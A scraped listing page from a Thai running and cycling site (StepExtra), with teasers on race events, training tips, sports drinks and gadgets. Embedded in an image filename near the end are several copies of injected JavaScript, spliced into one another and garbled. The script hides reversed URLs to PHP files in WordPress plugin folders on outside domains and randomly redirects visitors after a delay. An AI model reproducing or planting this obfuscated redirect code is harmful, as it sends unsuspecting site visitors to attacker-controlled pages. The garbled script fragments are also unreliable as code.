“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
“ไฮเออร์” เตรียมจัดงานวิ่ง Haier Run 2023 Inspire Future Dreams ฉลองครบรอบ 21 ปี ไฮเออร์ (ประเทศไทย) ณ บางกอกเวิลด์และสยามอะเมซิ่งพาร์ค 21 พฤษภาคม 2566 วันที่ 2 พ.ค....
© 2014STEP EXTRA
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
กลับมาอีกครั้งกับกิจกรรมท่องเที่ยวแนวใหม่แบบปลอดภัย เว้นระยะห่างแบบมีความสุข การท่องเที่ยวแห่งประเทศไทย ชวนชาวแคมป์ มากางเต้นท์ นอนรถบ้าน สไตล์แคมป์ปิ้งท่ามกลางหุบเขาเคล้าเสียงเพลงจากศิลปิน เขียนไขและวานิช , ชาติ สุชาติ ชิลไปกับบรรยากาศและสายลม เพลินๆกับกิจกรรมเอ้าท์ดอร์แบบชาวแคมป์ อาทิ-โยคะ-ทำเสื้อแคมป์ผ้ามัดย้อม-ยิงธนู พร้อมนั่งจิบ ชิม เมนูอาหาร และเลือกช้อปสินค้าท้องถิ่นจากชุมชน เตรียมตัวกันไว้ให้พร้อม 13...
จะวิ่งไตร หรือ วิ่งไหนๆ ก็สดชื่นคืนฟอร์มได้ด้วยสปอนเซอร์
จะวิ่งไตร หรือ วิ่งไหนๆ ก็สดชื่นคืนฟอร์มได้ด้วยสปอนเซอร์ ที่อุดมด้วยซูโคสและกลูโคส ช่วยคืนความสดชื่นและให้พลังงานแก่ร่างกาย พร้อมโซเดียมและโพแทสเซียมที่มีส่วนช่วยให้เลือดไหลเวียนดี ป้องกันการเกิดตะคริว ให้คุณเต็มที่ในทุกสนาม #Sponsor #สดชื่นคืนฟอร์มดื่มสปอนเซอร์
การ์ตูนเน็ทเวิร์คอเมโซนสนับสนุนกีฬาทางน้ำแนวใหม่ จัดการแข่งขัน Asia Flow Tour Thailand Qualifier 2018 เพื่อคัดเลือกตัวแทนของประเทศไทยไปแข่งขันระดับนานาชาติ
การ์ตูนเน็ทเวิร์คอเมโซนสนับสนุนกีฬาทางน้ำแนวใหม่ จัดการแข่งขัน Asia Flow Tour Thailand Qualifier 2018 เพื่อคัดเลือกตัวแทนของประเทศไทยไปแข่งขันระดับนานาชาติ
SONY Walkman NW-WS623 จะวิ่ง / ปั่น / ว่ายน้ำ ก็มีเพลงฟังได้ตลอดเวลา
ในอดีตเราจะคุ้นชื่อ SONY Walkman ในเรื่องเครื่องเล่นเพลงแบบพกพา แต่ในปัจจุบันที่ตอนนี้สมาร์ทโฟนเข้ามามีบทบาทในชีวิตประจำวันมากขึ้น Sony ก็ได้ปรับเปลี่ยนสินค้า Walkman ให้แตกต่างจากเดิม
ของ 3 อย่างเรามองข้ามและทำให้เราวิ่งช้าลง
มี 3 ปัจจัยที่เรามักจะมองข้ามอยู่บ่อยๆ StepExtra จึงอยากให้เหล่านักวิ่งลองสังเกตดูใหม่อีกครั้ง และอาจจะเป็นสาเหตุให้ร่างกายเราไม่สามารถพัฒนาให้วิ่งได้เร็วขึ้นและไปได้ไกลมากขึ้น
5 ประโยชน์ดีๆ ที่เราควรปั่นจักรยาน Indoor
สำหรับใครที่ต้องการควบคุมและปฎิบัติตามตารางฝึกอย่างต่อเนื่อง การปั่นจักรยานเเบบ indoor สามารถควบคุมระยะเวลา ความเร็วและ pace ของเราได้ดีกว่าการปั่นแบบ outdoor
5 เเนวคิดนักปั่นในการไต่เขาให้เร็วขึ้น
การปั่นจักรยานไต่เขา เอาเข้าจริงๆ ก็เหมือนการวิ่งระยะทางมาราธอน จิตใจต้องเข้มเเข็ง อดทน การปั่นขึ้นเขามันไม่ได้ไปเร็วเหมือนทางเรียบ
อยากเร็ว อยากฟอร์มสวย…มาฝึก speed training กัน (speed training for cyclist)
อยากเร็วอยากฟอร์มสวย มาฝึก speed training กัน
“ก้าวคนละก้าว” โครงการเล็กๆ ของพี่ตูน บอดี้สเเลม ที่จุดเเรงบันดาลใจให้ใครหลายคน
"...ถ้าจะเจ็บจนแบบส่งผลกับการออกกำลังกายในอนาคต...ก็คุ้ม ถ้าการบาดเจ็บของผมครั้งนี้...จะช่วยให้คนระดับเรา ๆ ได้ร่วมกันบ้าง...ช่วยกันบ้าง สักคนละสิบบาท...ยี่สิบบาท...ถ้าเป็นล้านคนก็สิบล้าน...ยี่สิบล้าน...ผมว่าคุ้ม..." ตูน Bodyslam
มือใหม่หัดวิ่งเทรล (Trail runner beginner)
วิ่งทางราบในเมืองมานาน อยากเปลี่ยนจากการวิ่งถนนลาดยาง มาสู่การวิ่งวิบากในป่า ต้องเตรียมตัวอย่างไร
สาวก Nike มีเฮ!!!…เปิดตัว NIKE.COM ช่องทางเข้าถึงผลิตภัณฑ์และนวัตกรรมของไนกี้ ที่พร้อมบริการอย่างเป็นทางการในประเทศไทย
Nike ประเทศไทย เมื่อวันนี้ มีการประกาศอย่างเป็นทางการเเล้วสามารถสั่งซื้อสินค้าผ่านทางเว็บไซต์ Nike.com และทำการจัดส่งสินค้ามาที่ประเทศไทยได้แล้ว
จะทำอะไรดี…? สำหรับนักปั่น ช่วง off-season
สิ่งที่กังวลใจต่อนักปั่น คือ ถ้าเราหยุดไปนานๆ เป็นเดือนอย่างนี้ จะรักษาความฟิตอย่างไร ต้องหยุดนานเเค่ไหน และจะมีวิธีไหนที่ช่วยรักาษาความฟิตให้คงเส้นคงวา หรือไม่ตกลงไปมาก
5 เหตุผลที่นักปั่นควรเข้าชมรมจักรยาน
เราจะได้เจอผู้คนมากมายหลายเเบบขึ้น มีฝืมือการปั่นที่ดีกว่าเรา พบมือเก๋า มือโปร มีส่วนช่วยในการพัฒนาการปั่น การสะสมความรู้ เเหล่งเเลกเปลี่ยนอะไหล่ เป็นต้น ที่สำคัญทุกคนรักการปั่นจักรยานเหมือนๆ กัน
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</gear-s3-frontier-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>and-classic-350x250.png)
Multi-Functional outdoor smart watch โดย SAMSUNG GEAR S3 FRONTIER และ GEAR S3 CLASSIC
เมื่อ Samsung ก้าวเข้าสู่โลกเเห่ง Multi-Functional outdoor smart watch โดยมีสองหัวหอก SAMSUNG GEAR S3 FRONTIER และ GEAR S3 CLASSIC นำทัพ...Garmin, suunto ว่าไง
STEP EXTRA
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา